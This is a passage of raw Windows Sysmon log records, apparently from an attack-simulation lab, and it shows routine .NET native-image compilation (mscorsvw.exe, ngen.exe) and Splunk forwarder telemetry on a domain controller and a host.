14:45:15.428{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F7B-613B-290A-00000000F001}7056C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045166Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:15.418{7BD73061-6F29-613B-3508-00000000F001}7032912C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F7B-613B-290A-00000000F001}7056C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+b591|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+b518|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9e05|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 354300x800000000000000013996Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:12.546{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50126-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 10341000x800000000000000045165Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:15.388{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F7B-613B-280A-00000000F001}5580C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045164Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:15.378{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F7B-613B-280A-00000000F001}5580C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045163Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:15.378{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F7B-613B-280A-00000000F001}5580C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 11241100x800000000000000045162Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:45:15.338{7BD73061-6F7B-613B-270A-00000000F001}6152C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exeC:\Windows\assembly\NativeImages_v4.0.30319_64\Temp\1808-0\Microsoft.VisualStudio.Tools.Applications.ServerDocument.dll2021-09-10 14:45:15.338 10341000x800000000000000045161Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:15.067{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F7B-613B-270A-00000000F001}6152C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045160Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:15.057{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F7B-613B-270A-00000000F001}6152C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045159Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:15.057{7BD73061-6F29-613B-3508-00000000F001}7032912C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F7B-613B-270A-00000000F001}6152C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+b591|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+b518|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9e05|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045158Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:15.017{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F7B-613B-260A-00000000F001}5464C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045157Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:15.007{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F7B-613B-260A-00000000F001}5464C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045156Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:15.007{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F7B-613B-260A-00000000F001}5464C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000013998Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:16.904{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=00AC1119D45522A8E4C510624542F450,SHA256=7F04B1893EE35CE660272DA353A45DA8AEB9E5A4404AD5D2D1287996A924B403,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000045207Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:16.965{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F7C-613B-340A-00000000F001}6260C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045206Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:16.956{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F7C-613B-340A-00000000F001}6260C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045205Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:16.955{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F7C-613B-340A-00000000F001}6260C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045204Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:16.904{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F7C-613B-330A-00000000F001}2228C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045203Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:16.884{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F7C-613B-330A-00000000F001}2228C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045202Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:16.884{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F7C-613B-330A-00000000F001}2228C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045201Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:16.814{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F7C-613B-320A-00000000F001}2244C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045200Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:16.794{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F7C-613B-320A-00000000F001}2244C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045199Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:16.794{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F7C-613B-320A-00000000F001}2244C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045198Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:16.744{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F7C-613B-310A-00000000F001}2312C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045197Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:16.724{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F7C-613B-310A-00000000F001}2312C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045196Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:16.724{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F7C-613B-310A-00000000F001}2312C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045195Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 